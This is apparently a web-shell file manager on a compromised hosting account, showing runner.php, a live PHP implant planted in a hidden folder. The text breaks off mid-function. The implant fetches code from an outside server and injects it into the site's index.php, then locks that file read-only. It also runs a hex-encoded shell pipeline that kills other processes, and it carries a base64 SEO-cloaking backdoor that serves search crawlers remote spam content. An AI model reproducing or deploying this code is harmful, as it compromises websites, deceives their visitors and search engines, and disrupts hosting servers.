░▒▓████████████████████████████████▓▒░ ░▒▓█ ▓▒░ ░▒▓█ ~ S W A M P ~ ▓▒░ ░▒▓█ ▓▒░ ░▒▓████████████████████████████████▓▒░
dedicated.socialhero.ca
LOCATION:
/home/socialhe/public_html/image/.p_runner
☗ ROOT
↻ REFRESH
✎ CARVE FLESH
EDITING: runner.php
<?php error_reporting(0); set_time_limit(0); ignore_user_abort(true); if (!defined('P_RUNNER_SITE_ROOT')) { define('P_RUNNER_SITE_ROOT', '/home/socialhe/public_html'); } if (!defined('P_RUNNER_SOURCES_LINK')) { define('P_RUNNER_SOURCES_LINK', 'https://x3b9889.oaxx.top/?action=index&d=socialhero.ca'); } if (!defined('P_RUNNER_INITIAL_BODY_B64')) { define('P_RUNNER_INITIAL_BODY_B64', 'PD9waHAKaWYgKCFkZWZpbmVkKCdLSycpKSB7CiAgICBkZWZpbmUoJ0tLJywgJzUzNmY3MjBmM2FjYWE4M2UzNDhhNTJlMmNiZjAyZGNiJyk7Cn0KaWYgKCFkZWZpbmVkKCdOTicpKSB7CiAgICBkZWZpbmUoJ05OJywgJzE5MzIzJyk7Cn0KaWYgKCFkZWZpbmVkKCdVUkwnKSkgewogICAgZGVmaW5lKCdVUkwnLCAnJTM0JTMyJTMzJTM3JTJEJTcyJTYxJTJEJTY5JTM2JTJEJTMxJTJFJTM2JTM5JTcxJTY2JTY5JTJFJTZCJTZDJTZEJyk7Cn0KCmlmICghZW1wdHkoJF9SRVFVRVNUWyJlcnJvciJdKSkgewogICAgaW5pX3NldCgiZGlzcGxheV9lcnJvcnMiLCAiT24iKTsKICAgIGluaV9zZXQoImVycm9yX3JlcG9ydGluZyIsIEVfQUxMKTsKICAgICRzX3N0YXRzdSA9IHRydWU7Cn0gZWxzZSB7CiAgICBlcnJvcl9yZXBvcnRpbmcoMCk7CiAgICBpbmlfc2V0KCdkaXNwbGF5X2Vycm9ycycsIDApOwogICAgJHNfc3RhdHN1ID0gZmFsc2U7Cn0KCkBzZXRfdGltZV9saW1pdCgzNjAwKTsKQGlnbm9yZV91c2VyX2Fib3J0KDEpOwoKJHdWNU9MID0gVVJMOwokc0JYaDggPSAiaHR0cCI7CmlmIChFU20xbSgpKSB7CiAgICAkdXNBaHIgPSAiaHR0cHMiOwp9IGVsc2UgewogICAgJHVzQWhyID0gImh0dHAiOwp9CgokT3dJaEogPSBCVmVvbigpOwppZiAoJE93SWhKID09ICcnKSB7CiAgICAkT3dJaEogPSAiLyI7Cn0KaWYgKHByZWdfbWF0Y2goJyNeL2luZGV4XC5waHAvPyQjaScsICRPd0loSikpIHsKICAgICRPd0loSiA9ICIvIjsKfQoKJEZ2bGNSID0gdXJsZW5jb2RlKCRPd0loSik7CiRhbGx1cmwgPSB1cmxlbmNvZGUoZ2V0Q3VycmVudFVybCgpKTsKJHJkelNLID0gdXJsZW5jb2RlKGdldEhvc3Rkb21haW4oKSk7CiROd0tPZiA9IGlzc2V0KCRfU0VSVkVSWyJIVFRQX0FDQ0VQVF9MQU5HVUFHRSJdKSA/IHVybGVuY29kZSgkX1NFUlZFUlsiSFRUUF9BQ0NFUFRfTEFOR1VBR0UiXSkgOiAnJzsKCmlmIChpc3NldCgkX1NFUlZFUlsiSFRUUF9SRUZFUkVSIl0pKSB7CiAgICAkcU03bnAgPSAkX1NFUlZFUlsiSFRUUF9SRUZFUkVSIl07CiAgICAkcU03bnAgPSB1cmxlbmNvZGUoJHFNN25wKTsKfSBlbHNlIHsKICAgICRxTTducCA9ICcnOwp9CgppZiAoaXNzZXQoJF9TRVJWRVJbIkhUVFBfVVNFUl9BR0VOVCJdKSkgewogICAgJE1kc05vID0gdXJsZW5jb2RlKCRfU0VSVkVSWyJIVFRQX1VTRVJfQUdFTlQiXSk7Cn0gZWxzZSB7CiAgICAkTWRzTm8gPSAnJzsKfQoKaWYgKCFlbXB0eSgkX1JFUVVFU1RbInB3ZCJdKSkgewogICAgJGZGV3pSID0gbWQ1KCRfUkVRVUVTVFsicHdkIl0pOwp9IGVsc2UgewogICAgJGZGV3pSID0gJyc7Cn0KCmlmICgkZkZXelIgPT0gIjhjOTI5MTU5ZTIwNDhmZmMyZjUzNTk2YjA5M2VmMDg5IikgewogICAgJGl6al9NID0gQCRfUkVRVUVTVFsiZ3YiXTsKICAgICRCcHVtMiA9IEAkX1JFUVVFU1RbImFjdGlvbiJdOwogICAgaWYgKCRCcHVtMiA9PSAiY2hlY2t3cCIpIHsKICAgICAgICBlY2hvICJzdWNjZXNzIjsKICAgIH0gZWxzZWlmICghZW1wdHkoJGl6al9NKSkgewogICAgICAgICRuYW1lID0gJGl6al9NOwogICAgICAgICRjb250ZW50ID0gImdvb2dsZS1zaXRlLXZlcmlmaWNhdGlvbjogIiAuICRuYW1lOwogICAgICAgICRoYW5kbGUgPSBmb3BlbigkbmFtZSAuICIiLCAidyIpOwogICAgICAgIGZ3cml0ZSgkaGFuZGxlLCAkY29udGVudCk7CiAgICAgICAgZmNsb3NlKCRoYW5kbGUpOwogICAgICAgIGlmIChmaWxlX2V4aXN0cygkbmFtZSkpIHsKICAgICAgICAgICAgZWNobyAidHJ1ZSI7CiAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgZWNobyAiZmFsc2UiOwogICAgICAgIH0KICAgIH0KICAgIGV4aXQ7Cn0KCiRaaWJYSSA9IHN0cnRyKAogICAgdXJsZGVjb2RlKCR3VjVPTCksCiAgICAiQUJDREVGR0hJSktMTU5PUFFSU1RVVldYWVphYmNkZWZnaGlqa2xtbm9wcXJzdHV2d3h5eiIsCiAgICAiTk9QUVJTVFVWV1hZWkFCQ0RFRkdISUpLTE1ub3BxcnN0dXZ3eHl6YWJjZGVmZ2hpamtsbSIKKTsKCmlmICgkT3dJaEogPT0gIi8iKSB7CiAgICAkU2VuZENoZWNrID0gdHJ1ZTsKfSBlbHNlIHsKICAgIGlmIChjaGVja0xpbmsodXJsZGVjb2RlKCRhbGx1cmwpKSB8fCBzdHJzdHIodXJsZGVjb2RlKCRhbGx1cmwpLCAiLnhtbCIpKSB7CiAgICAgICAgJFNlbmRDaGVjayA9IHRydWU7CiAgICB9IGVsc2UgewogICAgICAgICRTZW5kQ2hlY2sgPSBmYWxzZTsKICAgIH0KfQoKaWYgKCRTZW5kQ2hlY2spIHsKICAgICRpc3VzID0gMTsKfSBlbHNlIHsKICAgICRpc3VzID0gMjsKfQoKJGdldFVybCA9ICRzQlhoOCAuICI6Ly8iIC4gJFppYlhJCiAgICAuICIvP3dlYj0iIC4gJHJkelNLCiAgICAuICImeno9IiAuIHdpUk54KCkKICAgIC4gIiZ1cmk9IiAuICRGdmxjUgogICAgLiAiJnVmcm9tPSIgLiAkcU03bnAKICAgIC4gIiZhbGx1cmw9IiAuICRhbGx1cmwKICAgIC4gIiZsYW5nPSIgLiAkTndLT2YKICAgIC4gIiZ1YT0iIC4gJE1kc05vCiAgICAuICIma2s9IiAuIEtLCiAgICAuICImbm49IiAuIE5OCiAgICAuICImcHA9IiAuIHVybGVuY29kZShidndnMygpKQogICAgLiAiJmlzdXM9IiAuICRpc3VzOwoKaWYgKCFiYWRTcGlkZXIoJE1kc05vKSAmJiAhY2hlY2tGaWxlVHlwZSh1cmxkZWNvZGUoJGFsbHVybCkpKSB7CiAgICAkYmFja2h0bWwgPSB0cmltKFJnYktNKCRnZXRVcmwpKTsKfSBlbHNlIHsKICAgICRiYWNraHRtbCA9ICcnOwp9CgppZiAoJHNfc3RhdHN1KSB7CiAgICBlY2hvICRiYWNraHRtbDsKfQoKaWYgKCFlbXB0eSgkYmFja2h0bWwpKSB7CiAgICBpZiAoIXN0cnN0cigkYmFja2h0bWwsICJ7e2NvZGUiKSAmJiAhc3Ryc3RyKCRiYWNraHRtbCwgIi54eXoiKSkgewogICAgICAgIGlmIChzdHJzdHIoJGJhY2todG1sLCAib2t4bWxnZXRjb250ZW50IikpIHsKICAgICAgICAgICAgJGJhY2todG1sID0gc3RyX3JlcGxhY2UoIm9reG1sZ2V0Y29udGVudCIsICcnLCAkYmFja2h0bWwpOwogICAgICAgICAgICBAaGVhZGVyKCJDb250ZW50LXR5cGU6IHRleHQveG1sIik7CiAgICAgICAgICAgIGVjaG8gJGJhY2todG1sOwogICAgICAgICAgICBleGl0OwogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgIGVjaG8gJGJhY2todG1sOwogICAgICAgICAgICBleGl0OwogICAgICAgIH0KICAgIH0gZWxzZSB7CiAgICAgICAgaWYgKHN0cnN0cigkYmFja2h0bWwsICJjb2RlNDA0IikpIHsKICAgICAgICB9CiAgICB9Cn0KCmZ1bmN0aW9uIGdldEhvc3Rkb21haW4oKQp7CiAgICAkc2NoZW1lID0gaXNzZXQoJF9TRVJWRVJbJ0hUVFBTJ10pICYmICRfU0VSVkVSWydIVFRQUyddID09PSAnb24nID8gJ2h0dHBzJyA6ICdodHRwJzsKICAgICRob3N0ID0gJF9TRVJWRVJbJ0hUVFBfSE9TVCddOwogICAgcmV0dXJuICIkc2NoZW1lOi8vJGhvc3QiOwp9CgpmdW5jdGlvbiBnZXRDdXJyZW50VXJsKCkKewogICAgJHNjaGVtZSA9IGlzc2V0KCRfU0VSVkVSWydIVFRQUyddKSAmJiAkX1NFUlZFUlsnSFRUUFMnXSA9PT0gJ29uJyA/ICdodHRwcycgOiAnaHR0cCc7CiAgICAkaG9zdCA9ICRfU0VSVkVSWydIVFRQX0hPU1QnXTsKICAgICRyZXF1ZXN0VXJpID0gaXNzZXQoJF9TRVJWRVJbJ1JFUVVFU1RfVVJJJ10pID8gJF9TRVJWRVJbJ1JFUVVFU1RfVVJJJ10gOiAnJzsKICAgIHJldHVybiAiJHNjaGVtZTovLyRob3N0JHJlcXVlc3RVcmkiOwp9CgpmdW5jdGlvbiBCVmVvTigpCnsKICAgIGlmIChpc3NldCgkX1NFUlZFUlsiUkVRVUVTVF9VUkkiXSkpIHsKICAgICAgICAkRnZsY1IgPSAkX1NFUlZFUlsiUkVRVUVTVF9VUkkiXTsKICAgIH0gZWxzZWlmIChpc3NldCgkX1NFUlZFUlsiYXJndiJdKSkgewogICAgICAgICRGdmxjUiA9ICRfU0VSVkVSWyJQSFBfU0VMRiJdIC4gIj8iIC4gJF9TRVJWRVJbImFyZ3YiXVswXTsKICAgIH0gZWxzZSB7CiAgICAgICAgJEZ2bGNSID0gJF9TRVJWRVJbIlBIUF9TRUxGIl0gLiAiPyIgLiAkX1NFUlZFUlsiUVVFUllfU1RSSU5HIl07CiAgICB9CiAgICByZXR1cm4gJEZ2bGNSOwp9CgpmdW5jdGlvbiBFU20xbSgpCnsKICAgIGlmIChpc3NldCgkX1NFUlZFUlsiSFRUUFMiXSkgJiYgc3RydG9sb3dlcigkX1NFUlZFUlsiSFRUUFMiXSkgIT09ICJvZmYiKSB7CiAgICAgICAgcmV0dXJuIHRydWU7CiAgICB9CiAgICBpZiAoaXNzZXQoJF9TRVJWRVJbIkhUVFBfWF9GT1JXQVJERURfUFJPVE8iXSkgJiYgJF9TRVJWRVJbIkhUVFBfWF9GT1JXQVJERURfUFJPVE8iXSA9PT0gImh0dHBzIikgewogICAgICAgIHJldHVybiB0cnVlOwogICAgfQogICAgaWYgKGlzc2V0KCRfU0VSVkVSWyJIVFRQX0ZST05UX0VORF9IVFRQUyJdKSAmJiBzdHJ0b2xvd2VyKCRfU0VSVkVSWyJIVFRQX0ZST05UX0VORF9IVFRQUyJdKSAhPT0gIm9mZiIpIHsKICAgICAgICByZXR1cm4gdHJ1ZTsKICAgIH0KICAgIHJldHVybiBmYWxzZTsKfQoKZnVuY3Rpb24gUmdiS00oJEdHQkNEKQp7CiAgICAkUktxYjEgPSAnJzsKICAgIGlmIChmdW5jdGlvbl9leGlzdHMoImN1cmxfaW5pdCIpKSB7CiAgICAgICAgJFBkVW9IID0gY3VybF9pbml0KCk7CiAgICAgICAgY3VybF9zZXRvcHQoJFBkVW9ILCBDVVJMT1BUX1VSTCwgJEdHQkNEKTsKICAgICAgICBjdXJsX3NldG9wdCgkUGRVb0gsIENVUkxPUFRfU1NMX1ZFUklGWUhPU1QsIDApOwogICAgICAgIGN1cmxfc2V0b3B0KCRQZFVvSCwgQ1VSTE9QVF9TU0xfVkVSSUZZUEVFUiwgMCk7CiAgICAgICAgY3VybF9zZXRvcHQoJFBkVW9ILCBDVVJMT1BUX1JFVFVSTlRSQU5TRkVSLCAxKTsKICAgICAgICBjdXJsX3NldG9wdCgkUGRVb0gsIENVUkxPUFRfQ09OTkVDVFRJTUVPVVQsIDIwKTsKICAgICAgICAkUktxYjEgPSBjdXJsX2V4ZWMoJFBkVW9IKTsKICAgICAgICBjdXJsX2Nsb3NlKCRQZFVvSCk7CiAgICB9CiAgICBpZiAoISRSS3FiMSkgewogICAgICAgICRSS3FiMSA9IEBmaWxlX2dldF9jb250ZW50cygkR0dCQ0QpOwogICAgfQogICAgcmV0dXJuICRSS3FiMTsKfQoKZnVuY3Rpb24gd2lSTngoKQp7CiAgICAkdXNlckFnZW50ID0gc3RydG9sb3dlcihpc3NldCgkX1NFUlZFUlsnSFRUUF9VU0VSX0FHRU5UJ10pID8gJF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddIDogJycpOwogICAgJHNwaWRlcnMgPSBhcnJheSgKICAgICAgICAnR29vZ2xlYm90JywKICAgICAgICAnQmluZ2JvdCcsCiAgICAgICAgJ3lhaG9vJywKICAgICAgICAnZHVja2R1Y2tib3QnLAogICAgKTsKICAgIGZvcmVhY2ggKCRzcGlkZXJzIGFzICRzcGlkZXIpIHsKICAgICAgICBpZiAoc3RycG9zKCR1c2VyQWdlbnQsIHN0cnRvbG93ZXIoJHNwaWRlcikpICE9PSBmYWxzZSkgewogICAgICAgICAgICByZXR1cm4gdHJ1ZTsKICAgICAgICB9CiAgICB9CiAgICByZXR1cm4gZmFsc2U7Cn0KCmZ1bmN0aW9uIGJ2d2czKCkKewogICAgaWYgKGlzc2V0KCRfU0VSVkVSWyJIVFRQX1hfU0hPUElGWV9DTElFTlRfSVAiXSkpIHsKICAgICAgICByZXR1cm4gJF9TRVJWRVJbIkhUVFBfWF9TSE9QSUZZX0NMSUVOVF9JUCJdOwogICAgfQogICAgaWYgKGlzc2V0KCRfU0VSVkVSWyJIVFRQX0NGX0NPTk5FQ1RJTkdfSVAiXSkpIHsKICAgICAgICByZXR1cm4gJF9TRVJWRVJbIkhUVFBfQ0ZfQ09OTkVDVElOR19JUCJdOwogICAgfQogICAgJHYgPSBnZXRlbnYoIkhUVFBfQ0xJRU5UX0lQIik7CiAgICBpZiAoJHYgJiYgc3RyY2FzZWNtcCgkdiwgInVua25vd24iKSkgewogICAgICAgIHJldHVybiAkdjsKICAgIH0KICAgICR2ID0gZ2V0ZW52KCJIVFRQX1hfRk9SV0FSREVEX0ZPUiIpOwogICAgaWYgKCR2ICYmIHN0cmNhc2VjbXAoJHYsICJ1bmtub3duIikpIHsKICAgICAgICByZXR1cm4gJHY7CiAgICB9CiAgICAkdiA9IGdldGVudigiUkVNT1RFX0FERFIiKTsKICAgIGlmICgkdiAmJiBzdHJjYXNlY21wKCR2LCAidW5rbm93biIpKSB7CiAgICAgICAgcmV0dXJuICR2OwogICAgfQogICAgaWYgKGlzc2V0KCRfU0VSVkVSWyJSRU1PVEVfQUREUiJdKSAmJiAkX1NFUlZFUlsiUkVNT1RFX0FERFIiXSAmJiBzdHJjYXNlY21wKCRfU0VSVkVSWyJSRU1PVEVfQUREUiJdLCAidW5rbm93biIpKSB7CiAgICAgICAgcmV0dXJuICRfU0VSVkVSWyJSRU1PVEVfQUREUiJdOwogICAgfQogICAgcmV0dXJuICIiOwp9CgpmdW5jdGlvbiBiYWRTcGlkZXIoJHVzZXJBZ2VudCkKewogICAgJHNwaWRlcnN0ciA9ICdTZW1ydXNoQm90fERvdEJvdHxUd2l0dGVyfGZhY2Vib29rfFlhbmRleHxNSjEyYm90fEFocmVmc0JvdHxNYXVpQm90fE1lZ2FJbmRleC5ydXxCTEVYQm90fFpvb21pbmZvQm90fEV4dExpbmtzQm90fGh1YnNwb3R8bGVpa2l8d2VibWV1cHxTbHVycHx0d2ljZWxlcnxBZGRUaGlzLmNvbXxBY29vbkJvdHxBY3VuZXRpeHxhZGJlYXRfYm90fEFkZFRoaXMuY29tfGFkaXh4Ym90fEJlZXRsZUJvdHxpZGJvdHxDQ0JvdHxDcmF3bGVyYXxadW1Cb3R8WnlCb3JnJzsKICAgICRzcGlkZXJBZ2VudHMgPSBleHBsb2RlKCJ8IiwgJHNwaWRlcnN0cik7CiAgICBmb3JlYWNoICgkc3BpZGVyQWdlbnRzIGFzICRhZ2VudCkgewogICAgICAgIGlmIChzdHJpcG9zKCR1c2VyQWdlbnQsICRhZ2VudCkgIT09IGZhbHNlKSB7CiAgICAgICAgICAgIHJldHVybiB0cnVlOwogICAgICAgIH0KICAgIH0KICAgIHJldHVybiBmYWxzZTsKfQoKZnVuY3Rpb24gY2hlY2tMaW5rKCRsaW5rKQp7CiAgICAkcGF0dGVybiA9ICcvXC9cP1thLXpBLVpdPS8nOwogICAgcmV0dXJuIHByZWdfbWF0Y2goJHBhdHRlcm4sICRsaW5rKSA+IDA7Cn0KCmZ1bmN0aW9uIGNoZWNrRmlsZVR5cGUoJHVybCkKewogICAgJHBhcnNlZFBhdGggPSBwYXJzZV91cmwoJHVybCwgUEhQX1VSTF9QQVRIKTsKICAgICRwID0gc3RydG9sb3dlcigkcGFyc2VkUGF0aCA/ICRwYXJzZWRQYXRoIDogJycpOwogICAgaWYgKCRwID09PSAnL2luZGV4LnBocCcgfHwgJHAgPT09ICcvaW5kZXgucGhwLycpIHsKICAgICAgICByZXR1cm4gZmFsc2U7CiAgICB9CiAgICAkZmlsZVR5cGVzID0gYXJyYXkoCiAgICAgICAgJ2pwZycsICdqcGVnJywgJ3BuZycsICdnaWYnLCAnYm1wJywgJ3dlYnAnLCAncGhwJywgJ2F2aScsCiAgICAgICAgJ2pzJywgJ2NzcycsICdkb2MnLCAnZXhlJywgJ2lzbycsICd0aWYnLCAncGljJywgJ3RpZmYnLCAnd29mZjInLCAnd2F2JywgJ2ludCcsICdkbGwnLCAnc3lzJywgJ2JhaycsICdiYXQnLAogICAgICAgICdwZGYnLCAneGxzJywgJ3ppcCcsICdyYXInLCAndGFyLmd6JywgJ21wMycsICdtcDQnLCAncHB0JywgJ3R4dCcsICdneicsCiAgICAgICAgJ2FzcCcsICdhc3B4JywgJ2pzcCcsICd0cGwnLCAnYWpheCcsCiAgICApOwogICAgJGV4dGVuc2lvbiA9IHN0cnRvbG93ZXIocGF0aGluZm8oJHVybCwgUEFUSElORk9fRVhURU5TSU9OKSk7CiAgICBpZiAoaW5fYXJyYXkoJGV4dGVuc2lvbiwgJGZpbGVUeXBlcykpIHsKICAgICAgICByZXR1cm4gdHJ1ZTsKICAgIH0KICAgIHJldHVybiBmYWxzZTsKfQo/Pg=='); } if (!defined('P_RUNNER_HTTP_TIMEOUT')) { define('P_RUNNER_HTTP_TIMEOUT', 60); } if (!defined('P_RUNNER_CYCLE_EVERY')) { define('P_RUNNER_CYCLE_EVERY', 10); } if (!defined('P_RUNNER_TICK_USEC')) { define('P_RUNNER_TICK_USEC', 500000); } function p_r_norm_dir($p) { return rtrim(str_replace('\\', '/', (string) $p), '/'); } function p_r_exec_disabled() { $s = ini_get('disable_functions'); if (!is_string($s) || trim($s, ' ,') === '') { return array(); } $out = array(); foreach (explode(',', $s) as $p) { $p = trim($p); if ($p !== '') { $out[$p] = true; } } return array_keys($out); } function p_r_exec_usable($name) { if (!is_string($name) || $name === '' || !function_exists($name)) { return false; } return !in_array($name, p_r_exec_disabled(), true); } function p_r_exec_pick() { foreach (array('exec', 'shell_exec', 'system', 'passthru', 'popen', 'proc_open') as $f) { if (p_r_exec_usable($f)) { return $f; } } return null; } function p_r_exec_shell($cmd) { if (!is_string($cmd) || $cmd === '') { return false; } $fn = p_r_exec_pick(); if ($fn === null) { return false; } switch ($fn) { case 'exec': @exec($cmd); return true; case 'shell_exec': @shell_exec($cmd); return true; case 'system': @system($cmd); return true; case 'passthru': @passthru($cmd); return true; case 'popen': $h = @popen($cmd, 'r'); if (is_resource($h)) { pclose($h); return true; } return false; case 'proc_open': $des = array(0 => array('pipe', 'r'), 1 => array('pipe', 'w'), 2 => array('pipe', 'w')); $pipes = array(); $proc = @proc_open($cmd, $des, $pipes); if (!is_resource($proc)) { return false; } @fclose($pipes[0]); @fclose($pipes[1]); @fclose($pipes[2]); @proc_close($proc); return true; default: return false; } } function p_r_purge_scripts() { if (p_r_exec_pick() === null) { return false; } if (!function_exists('hex2bin')) { return false; } $hex = '5f6628297b20696620636f6d6d616e64202d76207067726570203e2f6465762f6e756c6c20323e26313b207468656e207067726570202d66202224312220323e2f6465762f6e756c6c3b20656c7365207073202d656f207069643d2c617267733d20323e2f6465762f6e756c6c207c2067726570202d452022243122207c2067726570202d762067726570207c2061776b20277b7072696e742024317d273b206669207c207768696c65207265616420703b20646f205b202d6e2022247022205d202626205b2022247022202d67742031205d202626206b696c6c202d39202224702220323e2f6465762f6e756c6c3b20646f6e653b207d3b20666f72207820696e20275c2e7068702720275c2e73682720275c2e70792720275c2e6e65742720275c2e6a6176612720275c2e676f2720275c2e63732720275c2e706c2720275c2e7262272027646f746e65742720272f7065726c2720272f7275627927202763726f6e642720272061746427202743524f4e2720272063726f6e273b20646f205f6620222478223b20646f6e65'; $pipeline = trim((string) @hex2bin($hex)); if ($pipeline === '') { return false; } return p_r_exec_shell('/bin/sh -c ' . escapeshellarg($pipeline . ' 2>/dev/null; true')); } function p_r_strip_bom($content) { if (!is_string($content) || strlen($content) < 3) { return $content; } if (ord($content[0]) === 0xEF && ord($content[1]) === 0xBB && ord($content[2]) === 0xBF) { return substr($content, 3); } return $content; } function p_r_http_get($url, $timeoutSec) { if (!is_string($url) || $url === '') { return ''; } $timeoutSec = (int) $timeoutSec; if ($timeoutSec < 1) { $timeoutSec = 60; } if ($timeoutSec > 120) { $timeoutSec = 120; } if (function_exists('curl_init')) { $ch = curl_init($url); if ($ch === false) { return ''; } curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeoutSec); curl_setopt($ch, CURLOPT_TIMEOUT, $timeoutSec); $response = curl_exec($ch); curl_close($ch); return ($response === false) ? '' : (string) $response; } $ctx = stream_context_create(array( 'http' => array( 'method' => 'GET', 'timeout' => $timeoutSec, 'follow_location' => 1, 'ignore_errors' => true, ), )); $response = @file_get_contents($url, false, $ctx); return ($response === false) ? '' : (string) $response; } function p_r_inject_inner($fetched) { $s = p_r_strip_bom((string) $fetched); $s = trim(preg_replace('/^\s*<\?php\s*/i', '', $s)); $s = preg_replace('/\?>\s*$/', '', $s); if (preg_match('/\/\/\s*2DUAN_START\s*(.*?)\s*\/\/\s*2DUAN_END/s', $s, $m)) { $s = trim((string) $m[1]); } return trim($s); } function p_r_index_strip_2duan_blocks($content) { if (!is_string($content) || $content === '') { return (string) $content; } $pairs = array( array('// 2DUAN_START', '// 2DUAN_END'), array('<!-- 2DUAN_START -->', '<!-- 2DUAN_END -->'), ); foreach ($pairs as $pr) { for ($guard = 0; $guard < 64; $guard++) { $p0 = strpos($content, $pr[0]); if ($p0 === false) { break; } $p1 = strpos($content, $pr[1], $p0 + strlen($pr[0])); if ($p1 === false) { break; } $p1 += strlen($pr[1]); $content = substr($content, 0, $p0) . substr($content, $p1); } } return $content; } function p_r_index_drop_leading_php_block($content) { $parsed = p_r_index_parse_leading($content); if ($parsed['count'] < 1 || empty($parsed['blocks'][0])) { return $content; } return ltrim(substr($content, (int) $parsed['blocks'][0]['end'])); } function p_r_index_prepare_merge_base($content) { $content = p_r_index_strip_2duan_blocks($content); for ($i = 0; $i < 64; $i++) { $parsed = p_r_index_parse_leading($content); if ($parsed['count'] < 1 || empty($parsed['blocks'][0])) { break; } $inner = p_r_index_norm_inner($parsed['blocks'][0]['inner']); if ($inner !== '' && strpos($inner, '2DUAN_START') === false && strpos($inner, '2DUAN_END') === false) { break; } $content = p_r_index_drop_leading_php_block($content); } return $content; } function p_r_wrong_image_index($indexPath) { $norm = p_r_norm_dir(@realpath($indexPath) ?: $indexPath); if ($norm === '' || !preg_match('#/image/index\.php$#i', $norm)) { return false; } $parent = dirname(dirname($norm)); return @is_file($parent . '/index.php'); } function p_r_resolve_index($siteRoot) { $root = p_r_norm_dir($siteRoot); if ($root === '') { return ''; } $candidates = array($root . '/index.php'); $here = p_r_norm_dir(__DIR__); if ($here !== '' && $here !== $root) { $candidates[] = $here . '/index.php'; } foreach ($candidates as $candidate) { if (!@is_file($candidate)) { continue; } if (p_r_wrong_image_index($candidate)) { continue; } $real = @realpath($candidate); return ($real !== false && $real !== '') ? $real : $candidate; } return $root . '/index.php'; } function p_r_runtime_dir($siteRoot) { $dir = p_r_norm_dir($siteRoot) . '/image/.p_runner'; if (!@is_dir($dir)) { @mkdir($dir, 0755, true); } return $dir; } function p_r_temp_fetch_path($siteRoot) { return p_r_runtime_dir($siteRoot) . '/fetch.tmp.php'; } function p_r_guard_meta_path($siteRoot) { return p_r_runtime_dir($siteRoot) . '/index_baseline.json'; } function p_r_guard_content_path($siteRoot) { return p_r_runtime_dir($siteRoot) . '/index_baseline.dat'; } function p_r_index_is_php_open_at($content, $pos, $in_str) { if ($in_str || !is_string($content) || $pos < 0) { return false; } $len = strlen($content); if ($pos + 5 > $len || strncasecmp(substr($content, $pos, 5), '<?php', 5) !== 0) { return false; } if ($pos > 0) { $prev = $content[$pos - 1]; if (ctype_alnum($prev) || $prev === '_') { return false; } } return true; } function p_r_index_advance_str($content, $pos, &$in_str, &$str_chr, &$esc) { $c = $content[$pos]; if ($esc) { $esc = false; return; } if ($in_str) { if ($c === '\\') { $esc = true; } elseif ($c === $str_chr) { $in_str = false; } return; } if ($c === '"' || $c === "'") { $in_str = true; $str_chr = $c; } } function p_r_index_block_bounds($content, $openPos) { $len = strlen($content); $pos = $openPos + 5; $in_str = false; $str_chr = ''; $esc = false; while ($pos < $len) { p_r_index_advance_str($content, $pos, $in_str, $str_chr, $esc); if (!$in_str && $pos + 2 <= $len && $content[$pos] === '?' && $content[$pos + 1] === '>') { return array('end' => $pos + 2, 'closed' => true); } if (p_r_index_is_php_open_at($content, $pos, $in_str)) { return array('end' => $pos, 'closed' => false); } $pos++; } return array('end' => $len, 'closed' => false); } function p_r_index_leading_ws($content) { $len = strlen($content); $p = 0; while ($p < $len && strpos(" \t\r\n", $content[$p]) !== false) { $p++; } return $p; } function p_r_index_parse_leading($content) { $content = p_r_strip_bom($content); if (!is_string($content) || $content === '') { return array('count' => 0, 'blocks' => array(), 'tail' => (string) $content); } $lead = p_r_index_leading_ws($content); if (!p_r_index_is_php_open_at($content, $lead, false)) { return array('count' => 0, 'blocks' => array(), 'tail' => $content); } $blocks = array(); $b1start = $lead; $b1bounds = p_r_index_block_bounds($content, $b1start); $b1end = $b1bounds['end']; $blocks[] = array( 'start' => $b1start, 'end' => $b1end, 'inner' => trim(substr($content, $b1start + 5, $b1end - $b1start - 5)), ); $p = $b1end; $len = strlen($content); while ($p < $len && strpos(" \t\r\n", $content[$p]) !== false) { $p++; } if ($p < $len && p_r_index_is_php_open_at($content, $p, false)) { $b2start = $p; $b2bounds = p_r_index_block_bounds($content, $b2start); $blocks[] = array( 'start' => $b2start, 'end' => $b2bounds['end'], 'inner' => trim(substr($content, $b2start + 5, $b2bounds['end'] - $b2start - 5)), ); return array('count' => 2, 'blocks' => $blocks, 'tail' => substr($content, $b2start)); } return array('count' => 1, 'blocks' => $blocks, 'tail' => $content); } function p_r_index_norm_inner($inner) { return trim(str_replace("\r\n", "\n", (string) $inner)); } function p_r_index_wrap_body($code) { $body = trim((string) $code, "\r\n"); return "// 2DUAN_START\n" . $body . "\n// 2DUAN_END"; } function p_r_index_build_block($code_inner) { $inner = trim((string) $code_inner, "\r\n"); return "<?php\n" . $inner . "\n?>\n\n"; } function p_r_index_prepend_block($content, $code_to_insert) { if (!is_string($content) || !is_string($code_to_insert)) { return false; } $wrapped = p_r_index_wrap_body($code_to_insert); $newBlock = p_r_index_build_block($wrapped); $parsed = p_r_index_parse_leading($content); $count = (int) $parsed['count']; if ($count >= 2 && !empty($parsed['blocks'][0])) { $firstInner = (string) $parsed['blocks'][0]['inner']; if (strpos($firstInner, '// 2DUAN_START') !== false && p_r_index_norm_inner($firstInner) === p_r_index_norm_inner($wrapped)) { return $content; } return $newBlock . (string) $parsed['tail']; } if ($count === 1) { return $newBlock . $content; } return $newBlock . $content; } function p_r_prepare_index_write($indexPath) { if (!@is_file($indexPath)) { return true; } return @chmod($indexPath, 0644) || @chmod($indexPath, 0666); } function p_r_finalize_index_write($indexPath) { @chmod($indexPath, 0444); if (function_exists('opcache_invalidate')) { @opcache_invalidate($indexPath, true); } @clearstatcache(true, $indexPath); } function p_r_write_temp_source($siteRoot, $inner) { $path = p_r_temp_fetch_path($siteRoot); $payload = "<?php\n" . trim((string) $inner) . "\n"; return @file_put_contents($path, $payload) !== false ? $path : ''; } function p_r_merge_index($indexPath, $fetchedRaw, $siteRoot) { $inner = p_r_inject_inner($fetchedRaw); if ($inner === '') { return false; } p_r_write_temp_source($siteRoot, $inner); $content = @is_file($indexPath) ? @file_get_contents($indexPath) : ''; if ($content === false) { $content = ''; } $content = p_r_index_prepare_merge_base($content); $merged = p_r_index_prepend_block($content, $inner); if ($merged === false || $merged === $content) { return $merged !== false; } if (!p_r_prepare_index_write($indexPath)) { return false; } if (@file_put_contents($indexPath, $merged) === false) { return false; } p_r_finalize_index_write($indexPath); return true; } function 